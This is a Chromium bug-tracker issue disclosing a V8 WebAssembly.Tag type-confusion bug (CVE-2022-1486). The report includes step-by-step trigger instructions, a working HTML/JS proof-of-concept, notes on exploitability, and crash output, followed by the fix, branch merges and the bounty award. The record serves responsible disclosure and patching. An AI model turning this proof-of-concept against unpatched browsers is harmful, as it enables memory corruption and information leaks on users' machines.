


[chromium](#) ▾[New issue](#)[Open issues](#) ▾[Sign in](#)

★ Starred by 5 users

Owner:jkummerow@chromium.org**CC:**

rganoni@google.com
jkummerow@chromium.org
ahaas@chromium.org
clemensb@chromium.org
vahl@chromium.org
ecmziegler@chromium.org
gdeepthi@chromium.org
dschuff@chromium.org
 ecmziegler@google.com

Status:

Fixed (Closed)

Components:[Blink>JavaScript>WebAssembly](#)**Modified:**

Aug 5, 2022

Backlog-Rank:

Editors:

EstimatedDays:

NextAction:

OS:[Linux](#), [Android](#), [Windows](#), [Chrome](#), [Mac](#), [Fuchsia](#), [Lacros](#)**Pri:**

1

Type:[Bug-Security](#)

[Hotlist-Merge-Review](#)
[Security_Severity-Medium](#)
[reward-7500](#)
[allpublic](#)
[reward-inprocess](#)
[CVE_description-submitted](#)
[external_security_report](#)
[FoundIn-100](#)
[FoundIn-101](#)
[FoundIn-102](#)
[M-101](#)
[Target-101](#)
[Security_Impact-Extended](#)
[merge-merged-9.6](#)
[LTS-Merge-Merged-96](#)
[merge-merged-100](#)
[merge-merged-10.0](#)
[merge-merged-10.1](#)

Issue 1314616: Security: JS object corruption in WasmJS::InstallConditionFeatures (CVE-2021-30561 variant)

Reported by btiszka@gmail.com on Fri, Apr 8, 2022, 1:37 AM EDT

Project Member

↔ Code

Description #3 by btiszka@gmail.com (Apr 8, 2022) ▼

VULNERABILITY DETAILS

There is a subtle bug in `WasmJS::InstallConditionalFeatures` that was introduced during the fix for crbug.com/1219630.

...

```
bool has_prototype = true;
Handle<JSFunction> tag_constructor =
    CreateFunc(isolate, tag_name, WebAssemblyTag, has_prototype,
               SideEffectType::kHasNoSideEffect);
tag_constructor->shared().set_length(1);
auto result =
    Object::SetProperty(isolate, webassembly, tag_name, tag_constructor,
                       StoreOrigin::kNamed, Just(ShouldThrow::kDontThrow)); /** A */
if (result.is_null()) {
    // Setting the {Tag} constructor failed. We just bail out.
    return;
}
// Install the constructor on the context.
context->set_wasm_tag_constructor(*tag_constructor);
Handle<JSObject> tag_proto =
    SetupConstructor(isolate, tag_constructor, i::WASM_TAG_OBJECT_TYPE,
                   WasmTagObject::kHeaderSize, "WebAssembly.Tag"); /** B */
if (enabled_features.has_type_reflection()) {
    InstallFunc(isolate, tag_proto, "type", WebAssemblyTagType, 0);
}
...
```

To fix crbug.com/1219630, the runtime call `Object::SetProperty` was used instead of the fast call `AddDataProperty` because `SetProperty` checks if the property is already on the WebAssembly receiver. However, the runtime call `Object::SetProperty` can be used to leak the `tag_constructor` (the first argument to `Object::SetProperty`) object by defining a setter on `Object.prototype.Tag`.

The `tag_constructor` will then be passed to `SetupConstructor` [B], which will then call `JSObject::AddDataProperty` without checking if the `Symbol.toStringTag` property is already on the `tag_constructor` object.

The `tag_constructor` object is a prototype object, so it is allocated as a `DictionaryProperties` type, however it is possible to convert this back to a `FastProperties` type object setting it as the prototype of multiple objects to trigger `OptimizeAsPrototype` [1] so the `AddDataProperty` will overwrite the existing property without updating the descriptor much like in CVE-2021-30561.

The steps to trigger this are:

Step 1. Redefine the WebAssembly object to an object without the `Exception` property to pass this if statement [2]

Step 2. Activate the document with any origin trial, triggering ``InstallConditionalFeatures``. This feature has been enabled for a while now so we pass this if statement regardless of which origin trial token we use [3]

Step 3. Define a setter on `Object.prototype.Tag` to leak the first argument passed to ``Object::SetProperty`` (``tag_constructor``).

Step 4. Convert ``tag_constructor``'s prototype from a ``DictionaryProperties`` object into a ``FastProperties`` object by setting it to another object's ``__proto__`` multiple times.

Step 5. Define the property ``Symbol.toTagString`` to ``tag_constructor``'s prototype, causing ``AddDataProperty`` to modify the existing property details and create a second ``uninitialized`` property with the same name.

- [1] <https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;l=4664;drc=7fb345a0da63049b102e1c0bcd8d7831110e324>
- [2] <https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-js.cc;l=3008;drc=6a6c116843b5541fcc657a39b7f2851d9d25587e>
- [3] <https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-js.cc;l=2990;drc=6a6c116843b5541fcc657a39b7f2851d9d25587e>

VERSION

Stable (100.0.4896.75)
Head (b0e7b6bf6c97b5040876fc6d4971c63573b993b8)

REPRODUCTION CASE

Host the following on <http://localhost> (required for my origin trial). You will likely need to generate a new origin trial (anything will work) if you're going to use another domain or protocol.

```
<script>
function addOriginTrial() {
    meta = document.createElement('meta');
    meta.httpEquiv = 'Origin-Trial';
    meta.content =
'AvmKXhz/skWcMIIPhfP+wx+0gU+ZVDVa38X/EAdrUHr6gAbVSEhS8ACZX0tEjOexIDkSyDaVVgSmJosOyP+H9AYAAABhe
yJvcmlnaW4iOiJodHRwOi8vbG9jYWxob3N0OjgwliwiZmVhdHVyZSI6IlJUQ0V4dGVuZERlYWRsaW5IRm9yUGxhbkJJSZW1v
dmFslwiZXBwaXJ5IjozNjUzM2NDM2Nzk5fQ==';
    document.head.appendChild(meta);
}

function to_fast(o) {
    var dummy = {'unique':5};
    dummy.__proto__ = o;
    dummy.__proto__ = o; //OptimizeAsFastPrototype
}

var leaked_proto = null;
var fake_WebAssembly = {};

function leakUninitializedOddball() {
    Object.prototype.__defineSetter__("Tag", function(tag_constructor) {
        leaked_proto = tag_constructor.prototype;

        to_fast(leaked_proto);

        var array = [1,2,3];
        array.a = 5;
```

```

    leaked_proto[Symbol.toStringTag] = array;
  });

  WebAssembly = fake_WebAssembly;
  addOriginTrial();

  return leaked_proto;
}

const object = leakUninitializedOddball();
// %DebugPrint(leaked_proto);
object[Symbol.toStringTag][0];
</script>
...

```

Exploitability Notes: Currently, I'm not sure if this primitive can lead to more than an infoleak. Exploitation is not as straightforward as the previous `AddDataProperty` vulnerabilities because prototype maps are detached from the transition tree. Meaning, deprecating `tag_constructor`'s map is not possible. However, there is still a type confusion between the property being stored on the PropertyArray and its representation on the DescriptorArray and it is possible to reach the type-confused property using the BinarySearch DescriptorArray lookup in non-jit code (JIT uses LinearSearch to search the DescriptorArray for a property). I will be exploring if there are avenues to turn this into an RCE given the constraints over the next few weeks.

CREDIT INFORMATION

Reporter credit: Brendon Tiszka

[Comment 1](#) by btiszka@gmail.com on Fri, Apr 8, 2022, 1:38 AM EDT Project Member

Description was changed.

[Comment 2](#) by [sheriffbot](#) on Fri, Apr 8, 2022, 1:40 AM EDT Project Member

Labels: external_security_report

[Comment 3](#) by btiszka@gmail.com on Fri, Apr 8, 2022, 1:48 AM EDT Project Member

To reproduce on `head` I used the webgpu origin trial, the origin trial I used above expires in M101 and webgpu expires in M105. So if reproducing on head use this origin trial:

```

...
meta.content =
'AqdkdXorUNhIUefLbz/oR7k/dOVaxco3UElEbYnljN8F7vQrunt2jRnzq39M1XGios73q+209/CZF0xCUGCpQ0AAABHeyJvc
mInaW4iOiJodHRwOi8vbG9jYWxob3N0OjgwlwiZmVhdHVyZSI6IldiYkdQVSIsImV4cGlyeSI6MTY2MzcxODM5OX0=';
...

```

[Comment 4](#) by btiszka@gmail.com on Fri, Apr 8, 2022, 3:02 AM EDT Project Member

Description was changed.

[Comment 5](#) by rsesek@chromium.org on Fri, Apr 8, 2022, 5:23 PM EDT Project Member

Status: Assigned (was: Unconfirmed)

Owner: ahaas@chromium.org

Cc: jkummerow@chromium.org

Labels: FoundIn-100 FoundIn-101 FoundIn-102 Security_Severity-Medium OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows OS-Lacros Pri-2

Components: Blink>JavaScript>WebAssembly

Thanks, I can confirm this. I get a renderer crash <https://crash.corp.google.com/browse?q=reportid=%2714528cf0401398%27> :

EXC_BREAKPOINT / EXC_I386_BPT @0x000000012603eb83

```
0x000000012603eb83 (Google Chrome Framework -platform-posix.cc:636)      v8::base::OS::Abort()
0x00000001244f1944 (Google Chrome Framework -isolate.cc:648)
v8::internal::Isolate::PushStackTraceAndDie(void*, void*, void*, void*)
0x000000012016d49c (Google Chrome Framework -lookup.cc:159)      void v8::internal::LookupIterator::Start<true>()
0x000000012014c6e4 (Google Chrome Framework -lookup-inl.h:94)      v8::internal::Runtime_GetProperty(int,
unsigned long*, v8::internal::Isolate*)
0x0000000148ff0aaf7
0x0000000148ffa2572
0x0000000148fe8be21
0x0000000148fe8a39b
0x0000000148fe8a0c6
0x0000000120be3919 (Google Chrome Framework -simulator.h:156)      v8::internal::(anonymous
namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&)
0x0000000120f3c099 (Google Chrome Framework -execution.cc:534)
v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>,
v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>)
0x0000000120f3b741 (Google Chrome Framework -api.cc:2149)      v8::Script::Run(v8::Local<v8::Context>,
v8::Local<v8::Data>)
0x0000000120b98518 (Google Chrome Framework -v8_script_runner.cc:428)
blink::V8ScriptRunner::CompileAndRunScript(blink::ScriptState*, blink::ClassicScript*, blink::ExecuteScriptPolicy,
blink::V8ScriptRunner::RethrowErrorsOption)
0x000000012294d869 (Google Chrome Framework -classic_script.cc:178)
blink::ClassicScript::RunScript(blink::LocalDOMWindow*)
0x00000001201c9925 (Google Chrome Framework -pending_script.cc:286)
blink::PendingScript::ExecuteScriptBlock(blink::KURL const&)
0x0000000121594cfe (Google Chrome Framework -script_loader.cc:1057)
blink::ScriptLoader::PrepareScript(WTF::TextPosition const&, blink::ScriptLoader::LegacyTypeSupport)
0x0000000120afc730 (Google Chrome Framework -html_parser_script_runner.cc:561)
blink::HTMLParserScriptRunner::ProcessScriptElement(blink::Element*, WTF::TextPosition const&)
0x00000001207a1c3d (Google Chrome Framework -html_document_parser.cc:605)
blink::HTMLDocumentParser::PumpTokenizer()
0x00000001207c260a (Google Chrome Framework -html_document_parser.cc:570)
blink::HTMLDocumentParser::PumpTokenizerIfPossible()
0x00000001211ff0af (Google Chrome Framework -html_document_parser.cc:555)
blink::HTMLDocumentParser::DeferredPumpTokenizerIfPossible()
0x0000000120110223 (Google Chrome Framework -callback.h:142)
base::TaskAnnotator::RunTaskImpl(base::PendingTask&)
0x000000012015d809 (Google Chrome Framework -task_annotator.h:74)      non-virtual thunk to
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()
0x00000001227d3bdb (Google Chrome Framework -message_pump_mac.mm:399)      invocation function for block
in base::MessagePumpCFRunLoopBase::RunWorkSource(void*)
0x0000000120113949 (Google Chrome Framework + 0x0001b949)      base::mac::CallWithEHFrame(void ())
```

```

block_pointer)
0x00000001227d3a1e  (Google Chrome Framework -message_pump_mac.mm:375)
base::MessagePumpCFRunLoopBase::RunWorkSource(void*)
0x00007ff80256baea  (CoreFoundation + 0x0007faea)
__CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__
0x00007ff80256ba52  (CoreFoundation + 0x0007fa52)      __CFRunLoopDoSource0
0x00007ff80256b7cc  (CoreFoundation + 0x0007f7cc)      __CFRunLoopDoSources0
0x00007ff80256a1e7  (CoreFoundation + 0x0007e1e7)      __CFRunLoopRun
0x00007ff8025697ab  (CoreFoundation + 0x0007d7ab)      CFRunLoopRunSpecific
0x00007ff8033bdd99  (Foundation + 0x0005fd99)          -[NSRunLoop(NSRunLoop) runMode:beforeDate:]
0x000000012529975d  (Google Chrome Framework -message_pump_mac.mm:657)
base::MessagePumpNSRunLoop::DoRun(base::MessagePump::Delegate*)
0x00000001252991aa  (Google Chrome Framework -message_pump_mac.mm:160)
base::MessagePumpCFRunLoopBase::Run(base::MessagePump::Delegate*)
0x0000000120ffa339  (Google Chrome Framework -thread_controller_with_message_pump_impl.cc:498)
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta)
0x0000000120ff9a37  (Google Chrome Framework -thread_controller_with_message_pump_impl.cc)
base::RunLoop::Run(base::Location const&)
0x00000001215e471b  (Google Chrome Framework -renderer_main.cc:290)
content::RendererMain(content::MainFunctionParams)
0x0000000121251ae8  (Google Chrome Framework -content_main_runner_impl.cc:682)
content::ContentMainRunnerImpl::Run()
0x00000001214c33db  (Google Chrome Framework -content_main.cc:407)
content::ContentMain(content::ContentMainParams)
0x00000001200fb71f  (Google Chrome Framework -chrome_main.cc:176)      ChromeMain
0x000000010af70975  (Google Chrome Helper (Renderer) -chrome_exe_main_mac.cc:208)      main
0x000000010cc3151d  (dyld + 0x0000551d)      start

```

And I see this printed to the console:

Stacktrace:

```

ptr1=0xa00002371
ptr2=0x0
ptr3=0x0
ptr4=0x0
ptr5=0x0
ptr6=0x0
failure_message_object=0x7ff7bb5920e0

```

==== JS stack trace =====

```

0: ExitFrame [pc: 0x7ece5ff0aaf8]
1: StubFrame [pc: 0x7ece5ffa2573]
Security context: 0x000a002a3abd <String[48]: #http://localhost38ABE1A57DA378B682670D7F55CC989E>
2: /* anonymous */ [0xa002a884d] [http://localhost/bug-1314616-2.html:37] [bytecode=0xa002a8715 offset=44]
(this=0x000a004bfde9 <JSGlobalProxy>)
3: InternalFrame [pc: 0x7ece5fe8a39c]
4: EntryFrame [pc: 0x7ece5fe8a0c7]

```

==== Details =====

```

[0]: ExitFrame [pc: 0x7ece5ff0aaf8]
[1]: StubFrame [pc: 0x7ece5ffa2573]

```

```
[2]: /* anonymous */ [0xa002a884d] [http://localhost/bug-1314616-2.html:37] [bytecode=0xa002a8715 offset=44]
(this=0x000a004bfde9 <JSGlobalProxy>) {
  // heap-allocated locals
  var object = 0x000a00052725 <Object map = 0xa0024d0e9>
  // expression stack (top to bottom)
  [02] : 0x000a00293161 <JSFunction Symbol (sfi = 0xa001e2811)>
  [01] : 0x000a00002371 <Odd Oddball: uninitialized>
  [00] : 0x000a000023e9 <undefined>
  ----- s o u r c e   c o d e -----
  \x0afunction addOriginTrial() {\x0a    meta = document.createElement('meta');\x0a    meta.httpEquiv = 'Origin-Trial';\x0a    meta.content =
  'AqdkdXorUNhIUefLbz/oR7k/dOVaxco3UElcEbYnljN8F7vQrunt2jRnzq39M1XGios73q+209/CZF0xCUGCpQ0AAABHeyJvc
  mInaW4iOiJodHRwOi8vbG9jYWxob3N0OjgwlwiZmVhdHVyZSI6IldlYkdQVSIsImV4cGlyeSI6M...

  }

[3]: InternalFrame [pc: 0x7ece5fe8a39c]
[4]: EntryFrame [pc: 0x7ece5fe8a0c7]
=====
```

[Comment 6](#) by [sheriffbot](#) on Fri, Apr 8, 2022, 5:32 PM EDT Project Member

Labels: Security_Impact-Extended

[Comment 7](#) by [sheriffbot](#) on Sat, Apr 9, 2022, 12:51 PM EDT Project Member

Labels: M-101 Target-101

Setting milestone and target because of medium severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 8](#) by [sheriffbot](#) on Sat, Apr 9, 2022, 1:17 PM EDT Project Member

Labels: -Pri-2 Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 9](#) by [jkummerow@chromium.org](#) on Tue, Apr 12, 2022, 7:11 PM EDT Project Member

Status: Started (was: Assigned)

Owner: jkummerow@chromium.org

Cc: ahaas@chromium.org clemensb@chromium.org

Andreas is OOO. I have a fix: <https://chromium-review.googlesource.com/c/v8/v8/+3582382>

[Comment 10](#) by [Git Watcher](#) on Wed, Apr 13, 2022, 8:21 AM EDT Project Member

Status: Fixed (was: Started)

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+f473f10ef33955096eb40a1720d7100d1c1aab7e>

commit [f473f10ef33955096eb40a1720d7100d1c1aab7e](#)
Author: Jakob Kummerow <jkummerow@chromium.org>
Date: Wed Apr 13 11:36:55 2022

[wasm] Refine installation of the WebAssembly.Tag constructor

This makes the installation sequence of WebAssembly.Tag slightly shorter, slightly faster, slightly cleaner in corner-case semantics, and slightly better documented.

To allow testing this code, Isolate::InstallConditionalFeatures is exposed as d8.test.installConditionalFeatures().

~~Fixed-chromium:1314616~~

Change-Id: I44285e398b8797e0e7d2d8c782cecec3ba68a503
Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3582382>
Commit-Queue: Jakob Kummerow <jkummerow@chromium.org>
Reviewed-by: Clemens Backes <clemensb@chromium.org>
Reviewed-by: Toon Verwaest <verwaest@chromium.org>
Cr-Commit-Position: refs/heads/main@{#79956}

[modify] <https://crrev.com/f473f10ef33955096eb40a1720d7100d1c1aab7e/src/d8/d8.cc>
[modify] <https://crrev.com/f473f10ef33955096eb40a1720d7100d1c1aab7e/src/wasm/wasm-js.cc>
[modify] <https://crrev.com/f473f10ef33955096eb40a1720d7100d1c1aab7e/src/d8/d8.h>

Comment 11 by [sheriffbot](#) on Wed, Apr 13, 2022, 12:42 PM EDT Project Member

Labels: reward-topanel

Comment 12 by [sheriffbot](#) on Wed, Apr 13, 2022, 1:41 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 13 by [sheriffbot](#) on Wed, Apr 13, 2022, 2:06 PM EDT Project Member

Labels: Merge-Request-101

This is sufficiently serious that it should be merged to beta. But I can't see a Chromium repo commit here, so you will need to investigate what - if anything - needs to be merged to M101. Is there a fix in some other repo which should be merged? Or, perhaps this ticket is a duplicate of some other ticket which has the real fix: please track that down and ensure it is merged appropriately.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 14 by [sheriffbot](#) on Thu, Apr 14, 2022, 8:23 AM EDT Project Member

Labels: -Merge-Request-101 Merge-Review-101 Hotlist-Merge-Review

Merge review required: M101 is already shipping to beta.

Please answer the following questions so that we can safely process your merge request:

1. Why does your merge fit within the merge criteria for these milestones?
 - Chrome Browser: <https://chromiumdash.appspot.com/branches>
 - Chrome OS: <https://goto.google.com/cros-release-branch-merge-guidelines>
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?

4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?
<https://goto.google.com/cros-engprodcomponents>
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.

Owners: benmason (Android), harrysouders (iOS), matthewjoseph (ChromeOS), pbommana (Desktop)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 15 by jkummerow@chromium.org on Thu, Apr 14, 2022, 10:13 AM EDT Project Member

Labels: Merge-Request-100

re #14:

1. It's a fix for a (medium-severity) security issue.
2. <https://chromium-review.googlesource.com/c/v8/v8/+3582382>
3. Not yet, but that should happen soon.
4. No.
5. N/A
6. No.

Considering that M100 is an "extended stable" release, I think we should merge to that too.

Comment 16 by [sheriffbot](#) on Thu, Apr 14, 2022, 10:17 AM EDT Project Member

Labels: -Merge-Request-100 Merge-Review-100

Merge review required: M100 is already shipping to stable.

Please answer the following questions so that we can safely process your merge request:

1. Why does your merge fit within the merge criteria for these milestones?
 - Chrome Browser: <https://chromiumdash.appspot.com/branches>
 - Chrome OS: <https://goto.google.com/cros-release-branch-merge-guidelines>
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?
4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?
<https://goto.google.com/cros-engprodcomponents>
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.

Owners: govind (Android), harrysouders (iOS), dgagnon (ChromeOS), srinivassista (Desktop)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 17 by amyressler@chromium.org on Mon, Apr 18, 2022, 1:18 PM EDT Project Member

Labels: -Merge-Review-100 -Merge-Review-101 Merge-Approved-101 Merge-Approved-100

merge approved to M101 and M100; please merge to the respective V8 branches for each (10.1-lkgr and 10.0-lkgr) asap/
NLT 10am PST tomorrow, Tuesday, 19 April to so these fixes an be included in the M101 Stable and M100 Extended
release cuts

Comment 18 by [Git Watcher](#) on Tue, Apr 19, 2022, 5:24 AM EDT Project Member

Labels: merge-merged-10.0

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+68e6ce795ed34d6e8d41083257dc4c3e7fc22fa3>

commit [68e6ce795ed34d6e8d41083257dc4c3e7fc22fa3](#)

Author: Jakob Kummerow <jkummerow@chromium.org>

Date: Wed Apr 13 11:36:55 2022

Merged: [wasm] Refine installation of the WebAssembly.Tag constructor

This makes the installation sequence of WebAssembly.Tag slightly shorter, slightly faster, slightly cleaner in corner-case semantics, and slightly better documented.

To allow testing this code, Isolate::InstallConditionalFeatures is exposed as d8.test.installConditionalFeatures().

(cherry picked from commit [f473f10ef33955096eb40a1720d7100d1c1aab7e](#))

~~Bug: chromium:1314616~~

Change-Id: Ibd47e0d726d49c485409781e9864b40cd7df2210

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3593112>

Reviewed-by: Jakob Kummerow <jkummerow@chromium.org>

Commit-Queue: Clemens Backes <clemensb@chromium.org>

Cr-Commit-Position: refs/branch-heads/10.0@{#32}

Cr-Branched-From: [6ea73a738c467dc26abbbe84e27a36aac1c6e119](#)-refs/heads/10.0.139@{#1}

Cr-Branched-From: [ccc689011280419901e6ee42cae39980c0e96030](#)-refs/heads/main@{#79131}

[modify] <https://crrev.com/68e6ce795ed34d6e8d41083257dc4c3e7fc22fa3/src/d8/d8.cc>

[modify] <https://crrev.com/68e6ce795ed34d6e8d41083257dc4c3e7fc22fa3/src/wasm/wasm-js.cc>

[modify] <https://crrev.com/68e6ce795ed34d6e8d41083257dc4c3e7fc22fa3/src/d8/d8.h>

Comment 19 by [sheriffbot](#) on Tue, Apr 19, 2022, 5:25 AM EDT Project Member

Labels: LTS-Merge-Candidate

LTS Milestone M96

This issue has been flagged as a merge candidate for Chrome OS' LTS channel. If selected, our merge team will handle any additional merges. To help us determine if this issue requires a merge to LTS, please answer this short questionnaire:

1. Was this issue a regression for the milestone it was found in?
2. Is this issue related to a change or feature merged after the latest LTS Milestone?

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 20 by [Git Watcher](#) on Tue, Apr 19, 2022, 5:30 AM EDT Project Member

Labels: merge-merged-10.1

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+46b08e67752333b9b78d94ab57b80f3a7668620c>

commit [46b08e67752333b9b78d94ab57b80f3a7668620c](#)

Author: Jakob Kummerow <jkummerow@chromium.org>

Date: Wed Apr 13 11:36:55 2022

Merged: [wasm] Refine installation of the WebAssembly.Tag constructor

This makes the installation sequence of WebAssembly.Tag slightly shorter, slightly faster, slightly cleaner in corner-case semantics, and slightly better documented.

To allow testing this code, Isolate::InstallConditionalFeatures is exposed as d8.test.installConditionalFeatures().

(cherry picked from commit [f473f10ef33955096eb40a1720d7100d1c1aab7e](#))

~~Bug: chromium:1314616~~

Change-Id: I03243cefcff3e04886d93f148016b973a5ca6e

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3593132>

Reviewed-by: Jakob Kummerow <jkummerow@chromium.org>

Commit-Queue: Clemens Backes <clemensb@chromium.org>

Cr-Commit-Position: refs/branch-heads/10.1@{#24}

Cr-Branched-From: [b003970395b7efcc309eb30b4ca06dd8385acd55](#)-refs/heads/10.1.124@{#1}

Cr-Branched-From: [e62f556862624103ea1da5b9dcef9b216832033b](#)-refs/heads/main@{#79503}

[modify] <https://crrev.com/46b08e67752333b9b78d94ab57b80f3a7668620c/src/d8/d8.cc>

[modify] <https://crrev.com/46b08e67752333b9b78d94ab57b80f3a7668620c/src/wasm/wasm-js.cc>

[modify] <https://crrev.com/46b08e67752333b9b78d94ab57b80f3a7668620c/src/d8/d8.h>

Comment 21 by clemensb@chromium.org on Tue, Apr 19, 2022, 5:56 AM EDT Project Member

Labels: -Merge-Approved-100 -Merge-Approved-101 Merge-Merged-100 Merge-Merged-101

Comment 22 by rzanoni@google.com on Tue, Apr 19, 2022, 8:49 AM EDT Project Member

Cc: rzanoni@google.com

Labels: LTS-Evaluating-96

Comment 23 by rzanoni@google.com on Tue, Apr 19, 2022, 10:21 AM EDT Project Member

Labels: -LTS-Evaluating-96 LTS-Merge-Request-96

Comment 24 by [sheriffbot](#) on Tue, Apr 19, 2022, 10:23 AM EDT Project Member

Labels: -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 25 by gmpritchard@google.com on Tue, Apr 19, 2022, 11:24 AM EDT Project Member

Labels: -LTS-Merge-Candidate LTS-Merge-Delayed-96

Comment 26 by rzanoni@google.com on Wed, Apr 20, 2022, 9:20 AM EDT Project Member

1. Just <https://crrev.com/c/3593865>
2. Low, simple conflicts regarding different signatures of `JSObject::HasOwnProperty`
3. Merged to main on Apr 13
4. Yes

Comment 27 by amyressler@google.com on Thu, Apr 21, 2022, 8:40 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-7500

*** Boilerplate reminders! ***

Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.

Comment 28 by amyressler@chromium.org on Thu, Apr 21, 2022, 9:54 PM EDT Project Member

Congratulations, Brendon! The VRP Panel has decided to award you \$7500 for this report. In the original report you mention, "I will be exploring if there are avenues to turn this into an RCE given the constraints over the next few weeks." If you are still planning on doing that and would like to share that, we would - of course- be happy to reassess for an potential increase in reward amount. Thank you for your efforts and great work!

Comment 29 by gmpritchard@google.com on Fri, Apr 22, 2022, 12:42 PM EDT Project Member

Labels: -LTS-Merge-Review-96 -LTS-Merge-Delayed-96 LTS-Merge-Approved-96

Comment 30 by [Git Watcher](#) on Mon, Apr 25, 2022, 10:41 AM EDT Project Member

Labels: merge-merged-9.6

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+90c0e214ffd67f5de865820a96b542130ba6ce12>

commit [90c0e214ffd67f5de865820a96b542130ba6ce12](#)

Author: Jakob Kummerow <jkummerow@chromium.org>

Date: Wed Apr 13 11:36:55 2022

[M96-LTS][wasm] Refine installation of the WebAssembly.Tag constructor

M96 merge issues:

Conflicts regarding different signatures of `JSObject::HasOwnProperty`

This makes the installation sequence of WebAssembly.Tag slightly shorter, slightly faster, slightly cleaner in corner-case semantics, and slightly better documented.

To allow testing this code, `Isolate::InstallConditionalFeatures` is exposed as `d8.test.installConditionalFeatures()`.

(cherry picked from commit [f473f10ef33955096eb40a1720d7100d1c1aab7e](#))

~~Fixed: chromium:1314616~~

No-Try: true

No-Presubmit: true

No-Tree-Checks: true

Change-Id: I44285e398b8797e0e7d2d8c782cecec3ba68a503

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3582382>

Commit-Queue: Jakob Kummerow <jkummerow@chromium.org>

Cr-Original-Commit-Position: refs/heads/main@{#79956}

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+3593865>

Reviewed-by: Achuth Bhandarkar <achuith@chromium.org>

Reviewed-by: Clemens Backes <clemensb@chromium.org>

Commit-Queue: Roger Felipe Zandoni da Silva <rzanoni@google.com>

Cr-Commit-Position: refs/branch-heads/9.6@{#66}

Cr-Branched-From: [0b7bda016178bf438f09b3c93da572ae3663a1f7](#)-refs/heads/9.6.180@{#1}

Cr-Branched-From: [41a5a247d9430b953e38631e88d17790306f7a4c](#)-refs/heads/main@{#77244}

[modify] <https://crrev.com/90c0e214ffd67f5de865820a96b542130ba6ce12/src/d8/d8.cc>

[modify] <https://crrev.com/90c0e214ffd67f5de865820a96b542130ba6ce12/src/wasm/wasm-js.cc>

[modify] <https://crrev.com/90c0e214ffd67f5de865820a96b542130ba6ce12/src/d8/d8.h>

Comment 31 by [rzanoni@google.com](#) on Mon, Apr 25, 2022, 10:47 AM EDT Project Member

Labels: -LTS-Merge-Approved-96 LTS-Merge-Merged-96

Comment 32 by [amyressler@chromium.org](#) on Mon, Apr 25, 2022, 12:46 PM EDT Project Member

Labels: Release-0-M101

Comment 33 by [amyressler@google.com](#) on Mon, Apr 25, 2022, 4:09 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

Comment 34 by [amyressler@google.com](#) on Tue, Apr 26, 2022, 4:31 PM EDT Project Member

Labels: CVE-2022-1486 CVE_description-missing

Comment 35 by [sheriffbot](#) on Wed, Jul 20, 2022, 1:32 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 36 by [amyressler@google.com](#) on Tue, Jul 26, 2022, 5:37 PM EDT Project Member

Labels: CVE_description-submitted -CVE_description-missing

[Comment 37](#) by amyressler@chromium.org on Fri, Jul 29, 2022, 5:26 PM EDT Project Member

Labels: -CVE_description-missing --CVE_description-missing

